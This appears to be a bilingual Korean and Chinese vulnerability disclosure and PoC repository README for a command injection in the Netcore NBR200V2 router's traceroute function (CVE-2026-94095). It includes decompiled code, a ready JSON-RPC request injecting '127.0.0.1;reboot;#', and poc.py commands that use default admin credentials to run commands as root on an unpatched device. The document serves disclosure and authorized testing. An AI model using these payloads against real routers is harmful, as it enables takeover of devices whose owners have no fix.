
CVE-2026-94095에 대한 PoC로, ubus JSON-RPC를 통해 Netcore NBR200V2 펌웨어에서 traceroute 명령어 인젝션이 가능하며, 권한이 부여된 테스트를 위한 root RCE를 활성화합니다.
| 필드 | 값 |
|---|---|
| 제조사 | Netcore |
| 모델 | NBR200V2 |
| 펌웨어 버전 | V1.3.241127.071246 |
| 영향받는 구성 요소 | /usr/bin/network_tools |
| 취약점 유형 | OS 명령 주입 (CWE-74 / CWE-77) |
| CVSS 3.1 | 9.9 (Critical) |
| 공격 벡터 | 원격 (ubus JSON-RPC) |
| 전제 조건 | 접근 가능한 ubus 엔드포인트 + 저권한 세션 (sid) |
| 제조사 상태 | 조기에 연락했으나 응답 없음, 공개 시점에 패치 없음 |
Netcore NBR200V2 펌웨어 V1.3.241127.071246에는 traceroute 진단 기능에 원격 명령 주입 취약점이 존재합니다. traceroute 핸들러는 ubus JSON-RPC로부터 공격자가 제어하는 url 값을 받아들여 이를 셸 명령에 연결하고, 그 결과 명령을 실행합니다. 원격 공격자는 이 결함을 이용해 임의의 셸 명령을 실행하거나, 장치를 재부팅하거나, 완전한 시스템 장악을 달성할 수 있습니다.
원격 요청은 ubus JSON-RPC로 수신됩니다:
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
ubus 메서드 매핑은 요청을 sub_401BD8로 라우팅합니다:
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
sub_401BD8은 JSON-RPC 데이터를 파싱하여 tools_traceroute()로 전달합니다:
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
tools_traceroute()는 신뢰할 수 없는 url 값을 사용하여 셸 명령을 구성합니다:
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
이 취약점은 ping 문제와 구조적으로 동일하지만, 다른 싱크와 실행 경로에 도달합니다. system()이 사용되므로 ;, &&, 셸 주석과 같은 명령 구분자가 적용됩니다. 따라서 진단 기능은 범용 명령 실행 프리미티브가 됩니다.
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
예상 효과: 라우터가 traceroute 작업을 처리하는 동안 reboot를 실행합니다. reboot 대신 임의의 셸 명령을 대체할 수 있습니다.
세 가지 모두 동일한 /usr/bin/network_tools에 도달합니다. 이 바이너리의 진단 함수들은 동일한 안전하지 않은 패턴을 공유하므로, 단일 진입점만 수정하는 것으로는 충분하지 않습니다.
공개 시점에 제조사 패치가 없습니다. 임시 완화 조치:
기술 분석 문서를 공개하고 제조사와 (성공하지 못한 채) 조율한 독립 연구자에 의해 공개되었습니다.
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。